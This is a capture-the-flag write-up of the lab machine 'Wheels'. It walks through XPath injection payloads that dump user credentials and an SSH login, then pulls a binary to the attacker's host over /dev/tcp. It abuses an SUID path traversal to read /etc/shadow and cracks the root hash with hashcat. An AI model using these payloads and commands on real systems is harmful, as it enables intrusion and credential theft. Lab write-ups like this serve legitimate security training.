Summary #
On port 80 there is a website called Wheels CarService
which is vulnerable for an XPATH injection. Using this vulnerability we can list usernames and passwords, leading to initial access as the bob
user. Once on the target we find an SUID bit set on the /opt/get-list
binary. Analyzing this binary shows it’s vulnerable for path traversal. Using this we can get the password hash of the root
user, dumping /etc/shadow
. Using hashcat
we crack the hash and get access as the root
user.
Specifications #
- Name: WHEELS
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Easy
- System overview: Linux wheels 5.4.0-122-generic #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.203.202
- OFFSEC provided credentials: None
- HASH:
local.txt
:c01ae70804a3651bb3ab25fcc5aedbb0
- HASH:
proof.txt
:68c4371412fe8cf91525cb2844bc9c2d
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir wheels && cd wheels && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 21 13:10 .
drwxrwxr-x 76 kali kali 4096 Sep 21 13:10 ..
drwxrwxr-x 2 kali kali 4096 Sep 21 13:10 enum
drwxrwxr-x 2 kali kali 4096 Sep 21 13:10 exploits
drwxrwxr-x 2 kali kali 4096 Sep 21 13:10 files
drwxrwxr-x 2 kali kali 4096 Sep 21 13:10 tools
drwxrwxr-x 2 kali kali 4096 Sep 21 13:10 uploads
## set bash variable
ip=192.168.203.202
## ping target to check if it's online
ping $ip
PING 192.168.203.202 (192.168.203.202) 56(84) bytes of data.
64 bytes from 192.168.203.202: icmp_seq=1 ttl=61 time=22.5 ms
64 bytes from 192.168.203.202: icmp_seq=2 ttl=61 time=24.2 ms
^C
--- 192.168.203.202 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 22.535/23.382/24.229/0.847 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
TreadStone was here 🚀
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.203.202:22
Open 192.168.203.202:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 13:11 CEST
Initiating Ping Scan at 13:11
Scanning 192.168.203.202 [4 ports]
Completed Ping Scan at 13:11, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:11
Completed Parallel DNS resolution of 1 host. at 13:11, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:11
Scanning 192.168.203.202 [2 ports]
Discovered open port 22/tcp on 192.168.203.202
Discovered open port 80/tcp on 192.168.203.202
Completed SYN Stealth Scan at 13:11, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.203.202
Host is up, received echo-reply ttl 61 (0.023s latency).
Scanned at 2025-09-21 13:11:40 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH6PH1/ST7TUJ4Mp/l4c7G+TM07YbX7YIsnHzq1TRpvtiBh8MQuFkL1SWW9+za+h6ZraqoZ0ewwkH+0la436t9Q+2H/Nh4CntJOrRbpLJKg4hChjgCHd5KiLCOKHhXPs/FA3mm0Zkzw1tVJLPR6RTbIkkbQiV2Zk3u8oamV5srWIJeYUY5O2XXmTnKENfrPXeHup1+3wBOkTO4Mu17wBSw6yvXyj+lleKjQ6Hnje7KozW5q4U6ijd3LmvHE34UHq/qUbCUbiwY06N2Mj0NQiZqWW8z48eTzGsuh6u1SfGIDnCCq3sWm37Y5LIUvqAFyIEJZVsC/UyrJDPBE+YIODNbN2QLD9JeBr8P4n1rkMaXbsHGywFtutdSrBZwYuRuB2W0GjIEWD/J7lxKIJ9UxRq0UxWWkZ8s3SNqUq2enfPwQt399nigtUerccskdyUD0oRKqVnhZCjEYfX3qOnlAqejr3Lpm8nA31pp6lrKNAmQEjdSO8Jxk04OR2JBxcfVNfs=
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI0EdIHR7NOReMM0G7C8zxbLgwB3ump+nb2D3Pe3tXqp/6jNJ/GbU2e4Ab44njMKHJbm/PzrtYzojMjGDuBlQCg=
| 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDCc0saExmeDXtqm5FS+D5RnDke8aJEvFq3DJIr0KZML
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Wheels - Car Repair Services
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Wheels - Car Repair Services
|_http-server-header: Apache/2.4.41 (Ubuntu)
On port 80 there is a website called Wheels CarService
. At the bottom of this page there is an email address: info@wheels.service
.

Click on register and use the domain in the found email address in the registration. Registration values: hekk:hekk@wheels.service:password1!
Once registered, we see it was successful. Now, log into the application using provided credentials. When we click on the EMPLOYEE PORTAL
menu item we need to login. So, fill in the registration values, which allows us to log into the application.

Clicking on the EMPLOYEE PORTAL
menu item, we get a functionality to filter users by services. In this case, by car or bike.

Let’s start BURP and see what is being send to the server. Set BURP to intercept and click Search
. Send the request in BURP to the repeater tab.

Testing the work
parameter for SQL injection: GET /portal.php?work=car'&action=search HTTP/1.1
, we indeed get an error: SimpleXMLElement::xpath(): Invalid expression in <b>/var/www/html/portal.php
. Searching online for exploiting XPATH we can find: https://book.hacktricks.wiki/en/pentesting-web/xpath-injection.html. Fiddling with payloads could lead us to getting all usernames with this one:
GET /portal.php?work=')+or+1=1+or+('&action=search HTTP/1.1
, which results in these usernames: bob
,alice
,john
,dan
,alex
and selene
. This one gets all the passwords: GET /portal.php?work=')]+|+//password%00&action=search HTTP/1.1
, list of passwords: Iamrockinginmyroom1212
,iamarabbitholeand7875
,johnloveseverontr8932
,lokieismyfav!@#12
,alreadydead$%^234
and lasagama90809!@
.

Joined together we get this list of credentials:
bob:Iamrockinginmyroom1212
, alice:iamarabbitholeand7875
, john:johnloveseverontr8932
, dan:lokieismyfav!@#12
, alex:alreadydead$%^234
and selene:lasagama90809!@
. The only one giving initial access to the target via SSH is the bob
user.
## get initial access with credentials: `bob:Iamrockinginmyroom1212`
ssh bob@$ip
bob@192.168.203.202's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 21 Sep 2025 03:21:29 PM UTC
System load: 0.0 Processes: 214
Usage of /: 72.1% of 9.74GB Users logged in: 0
Memory usage: 32% IPv4 address for ens160: 192.168.203.202
Swap usage: 0%
24 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Tue May 17 19:22:53 2022 from 192.168.118.14
$
## print `local.txt`
$ cat local.txt
c01ae70804a3651bb3ab25fcc5aedbb0
Privilege Escalation #
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target
## change shell to `bash`
$ bash
bob@wheels:~$
## download `linpeas.sh` using the open port 8080
bob@wheels:~$ wget http://192.168.45.189/linpeas.sh
--2025-09-21 17:24:09-- http://192.168.45.189/linpeas.sh
Connecting to 192.168.45.189:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[===================================================================>] 939.29K 4.58MB/s in 0.2s
2025-09-21 17:24:09 (4.58 MB/s) - ‘linpeas.sh’ saved [961834/961834]
## set the execution bit
bob@wheels:~$ chmod +x linpeas.sh
## run `linpeas.sh`
bob@wheels:~$ ./linpeas.sh
The linpeas.sh
output shows an SUID bit set on /opt/get-list
. When we run the binary, it asks Which List do you want to open? [customers/employees]
. Let’s download the binary locally and see what strings
shows.
## verifiy SUID on `/opt/get-list`
bob@wheels:~$ find / -perm /4000 -ls 2>/dev/null | grep get-list
180178 20 -rwsr-sr-x 1 root root 16808 May 11 2022 /opt/get-list
## run `/opt/get-list`
bob@wheels:~$ /opt/get-list
Which List do you want to open? [customers/employees]: employees
Opening File....
bob
alice
john
dan
alex
selene
## locally:
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189
## setup a listener and redirect output to a file called `get-list`
nc -lvnp 9001 > get-list
listening on [any] 9001 ...
## on target, send file:
bob@wheels:~$ cat /opt/get-list > /dev/tcp/192.168.45.189/9001
## locally:
## run `strings` on the binary
strings get-list
<SNIP>
Which List do you want to open? [customers/employees]:
customers
employees
Opening File....
/bin/cat /root/details/%s
/dev/null
The output of the strings command shows /bin/cat
is run with the input at /root/details/<our_input>
. This mean we can do a path traversal to get the file we want. Apparently the binary requires employees
or customers
, but we just comment that out from being used by /bin/cat
. We can now get the content of /etc/shadow
and try to crack the root
user’s password. The password cracks as: highschoolmusical
## run `get-list` with path traversal exploit
bob@wheels:~$ /opt/get-list
Which List do you want to open? [customers/employees]: ../../../etc/shadow #employees
Opening File....
root:$6$Hk74of.if9klVVcS$EwLAljc7.DOnqZqVOTC0dTa0bRd2ZzyapjBnEN8tgDGrR9ceWViHVtu6gSR.L/WTG398zZCqQiX7DP/1db3MF0:19123:0:99999:7:::
daemon:*:18474:0:99999:7:::
bin:*:18474:0:99999:7:::
sys:*:18474:0:99999:7:::
sync:*:18474:0:99999:7:::
games:*:18474:0:99999:7:::
man:*:18474:0:99999:7:::
lp:*:18474:0:99999:7:::
mail:*:18474:0:99999:7:::
news:*:18474:0:99999:7:::
uucp:*:18474:0:99999:7:::
proxy:*:18474:0:99999:7:::
www-data:*:18474:0:99999:7:::
backup:*:18474:0:99999:7:::
list:*:18474:0:99999:7:::
irc:*:18474:0:99999:7:::
gnats:*:18474:0:99999:7:::
nobody:*:18474:0:99999:7:::
systemd-network:*:18474:0:99999:7:::
systemd-resolve:*:18474:0:99999:7:::
systemd-timesync:*:18474:0:99999:7:::
messagebus:*:18474:0:99999:7:::
syslog:*:18474:0:99999:7:::
_apt:*:18474:0:99999:7:::
tss:*:18474:0:99999:7:::
uuidd:*:18474:0:99999:7:::
tcpdump:*:18474:0:99999:7:::
landscape:*:18474:0:99999:7:::
pollinate:*:18474:0:99999:7:::
sshd:*:18634:0:99999:7:::
systemd-coredump:!!:18634::::::
lxd:!:18634::::::
usbmux:*:18864:0:99999:7:::
bob:$6$9hcN2TDv4v9edSth$KYm56Aj6E3OsJDiVUOU8pd6hOek0VqAtr25W1TT6xtmGTPkrEni24SvBJePilR6y23v6PSLya356Aro.pHZxs.:19123:0:99999:7:::
mysql:!:19123:0:99999:7:::
## change directory
cd files
## create a file called `hash` with this content:
$6$Hk74of.if9klVVcS$EwLAljc7.DOnqZqVOTC0dTa0bRd2ZzyapjBnEN8tgDGrR9ceWViHVtu6gSR.L/WTG398zZCqQiX7DP/1db3MF0
## run hashcat
hashcat hash /opt/rockyou.txt
<SNIP>
$6$Hk74of.if9klVVcS$EwLAljc7.DOnqZqVOTC0dTa0bRd2ZzyapjBnEN8tgDGrR9ceWViHVtu6gSR.L/WTG398zZCqQiX7DP/1db3MF0:highschoolmusical
## log into target via SSH with credentials: `root:highschoolmusical`
ssh root@$ip
root@192.168.203.202's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 21 Sep 2025 05:50:23 PM UTC
System load: 0.0 Processes: 227
Usage of /: 72.2% of 9.74GB Users logged in: 1
Memory usage: 56% IPv4 address for ens160: 192.168.203.202
Swap usage: 0%
24 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Mar 21 13:15:15 2025
root@wheels:~#
## print `proof.txt`
root@wheels:~# cat proof.txt
68c4371412fe8cf91525cb2844bc9c2d
References #
[+] https://book.hacktricks.wiki/en/pentesting-web/xpath-injection.html
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh